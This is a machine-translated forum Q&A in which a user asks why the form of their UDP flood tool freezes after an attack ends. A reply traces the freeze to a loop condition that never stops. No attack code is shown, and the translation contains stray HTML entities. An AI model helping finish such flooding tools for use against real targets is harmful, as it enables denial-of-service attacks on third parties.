我正在开发一个UDP Flooder，攻击结束后表格冻结......
所以它是如何工作的我有一个调用方法“startUDP”的按钮，目的是攻击一个目标（它做了），我在方法中创建了一个检查，检查攻击是否结束，如果是停止while循环。不幸的是，这并没有阻止程序冻结：/
感谢任何帮助！
到目前为止，这是我的代码：

我怀疑你的问题是，你的设置是攻击＆＃39;嵌套中的错误＆＃39; if＆＃39;块。因此，当外部块读取错误时（即，当数据包== totalPackets时），每个因素都被绕过并且“攻击”。永远不会被设置为false而你的while循环变得无限。
似乎将条件更改为if (packets <= totalPackets)会修复它。
无法真正复制您的问题，但这是一种略微不同的方式来做同样的事情，无法进行无限循环。这样一来，如果问题仍然存在，那就不是循环了。
